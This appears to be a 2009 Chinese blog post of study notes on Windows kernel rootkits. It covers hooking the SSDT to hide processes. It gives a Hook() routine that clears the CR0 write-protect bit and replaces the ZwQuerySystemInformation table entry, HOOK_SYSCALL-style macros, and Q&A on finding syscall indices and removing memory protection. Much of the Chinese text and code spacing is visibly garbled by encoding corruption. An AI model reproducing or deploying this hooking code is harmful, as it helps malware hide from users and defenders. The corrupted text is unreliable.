Posted on 2009-10-25 16:06
S.l.e!ep.¢% 閱讀(486)
評論(0) 編輯 收藏 引用 所屬分類:
RootKit
前:
HOOK SSDT Hide Process (二)[新資料]
SSDT HIDE Process [舊資料]
HOOK SSDT實現(xiàn)進程隱藏舊資料中的 Hook 是如此實現(xiàn)的
- VOID Hook()
- {
- ? ? ? ? DbgPrint("Entry Hook()\n");
- ? ? ? ? OldAddress =(ULONG)KeServiceDescriptorTable->ServiceTableBase + 4*0xAd;//用windbg反匯編查到zwquerysysteminformationde
- ???????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????????//的ID號是0xADh
- ? ? ? ? DbgPrint("KeServiceDescriptorTable->ServiceTableBase is :0x%0x\n",KeServiceDescriptorTable->ServiceTableBase);
- ? ? ? ? //保存原來函數(shù)的地址
- ? ? ? ? OldZwQuerySystemInformation = (ZWQUERYSYSTEMINFORMATION) *(ULONG *)OldAddress;
- ??DbgPrint("OldZwQuerySystemInformation is :0x%0x\n", OldZwQuerySystemInformation);
- ??DbgPrint("MyZwQuerySystemInformation is :0x%0x\n", MyZwQuerySystemInformation);
- ? ?//取消內(nèi)存寫保護
- ??_asm
- ??{
- ? ? cli
- ???
- ? ?? ?mov??eax,cr0??
- ? ?? ?and??eax,not 10000h
- ? ?? ?mov??cr0,eax
- ??????
- ??}
- ???
- ? ? ? ? *(ULONG*)OldAddress =(ULONG) MyZwQuerySystemInformation;? ?? ? //mark? ?MyZwQuerySystemInformation;
- ??
- ??//還原內(nèi)存寫保護
- ??_asm
- ??{??
- ??
- ? ? mov??eax,cr0
- ? ?? ?or? ?eax,10000h
- ? ?? ?mov??cr0,eax
- ? ?? ?sti
- ??
- ??
- ??}
- }
OldAddress =(ULONG)KeServiceDescriptorTable->ServiceTableBase + 4*0xAd;
//用windbg反匯編查到zwquerysysteminformationde的ID號是0xADh
1. zwquerysysteminformationde的ID號是0xADh?? 這個ID是如何得來的?
A: 用 Windbg? u 顯示 zwquerysysteminformation 所在地址都可以看到, 見Q3
Q2. 4表示指針的大小?如果在 64機器上就應該是 8 了?
A:?? 是的,所以正規(guī)寫法應該是
#define SYSTEMSERVICE(_function)? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
Q3. 另一種寫法是
#define SYSTEMSERVICE(_function)? KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]
// save old system call locations
OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));
*(PULONG) 是地址的偏移類型, 相關(guān)于 *4, 但 PUCHAR 又是什么? _function+1 又表示什么?
"將_Function+1即可確定ServiceID的位置,即在系統(tǒng)服務調(diào)度表中的入口地址"
A:四個有用的宏
SYSTEMSERVICE macro:可以獲得由ntoskrnl.exe導出函數(shù),以Zw*開頭函數(shù)的地址,這個函數(shù)的返回值就是Nt*函數(shù),Nt*函數(shù)的地址就在SSDT中
SYSCALL_INDEX macro:獲得Zw*函數(shù)的地址并返回與之通信的函數(shù)在SSDT中的索引。
這兩個宏之所以能工作,是因為所有的Zw*函數(shù)都開始于opcode:MOV eax, ULONG,這里的ULONG就是系統(tǒng)調(diào)用函數(shù)在SSDT中的索引。
例:
00401023????? A1 94214000??????? mov???? eax, dword ptr [402194]
A1 表示?? ?mov eax
94214000 表示ULONG
所有 Zw* 開頭的函數(shù)最開始的第一條指令是? MOV eax, ULONG, 這里的ULONG就是系統(tǒng)調(diào)用函數(shù)在SSDT中的索引。
_function 是函數(shù)地址, (PUCHAR)_function+1?? 指向 ULONG, 再把它轉(zhuǎn)成 PULONG? ,就可以拿到 系統(tǒng)調(diào)用函數(shù)在SSDT中的索引 (Nt*函數(shù)的地址)
HOOK_SYSCALL和UNHOOK_SYSCALL macros:獲得Zw*函數(shù)的地址,取得他的索引,自動的交換SSDT中索引所對應的函數(shù)地址和我們hook函數(shù)的地址。
這四個宏具體是:
#define SYSTEMSERVICE(_func)?KeServiceDescriptorTable.ServiceTableBase[ *(PULONG)((PUCHAR)_func+1)]
??
#define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)
??
#define HOOK_SYSCALL(_Function, _Hook, _Orig )??\
_Orig = (PVOID) InterlockedExchange( (PLONG)???\
&MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG) _Hook)
??
#define UNHOOK_SYSCALL(_Func, _Hook, _Orig )??\
InterlockedExchange((PLONG)?\
&MappedSystemCallTable[SYSCALL_INDEX(_Func)], (LONG) _Hook)
Hook SSDT 其實就是把 SSDT 里面的函數(shù)地址替換成自己的處理函數(shù), 一般在 DriverEntry() 就HOOK了
在 DriverUnload() 里再把 SSDT 里面的函數(shù)地址還原?
在寫 KeServiceDescriptorTable.ServiceTableBase? 時有一個重要步驟
需要去掉'內(nèi)存保護'才可以寫入
Q:為何這個變量會受到'內(nèi)存保護'?? 受'內(nèi)存保護'的意義是?既然有辦法去掉'內(nèi)存保護',那為何還要保護呢?
目前所知,去掉'內(nèi)存保護'有兩種方法
1. 設置 CR0 寄存器的標志位
2. MDL
Q1: 這兩種方法的區(qū)別是什么?
Q2: MDL 的原理又是什么?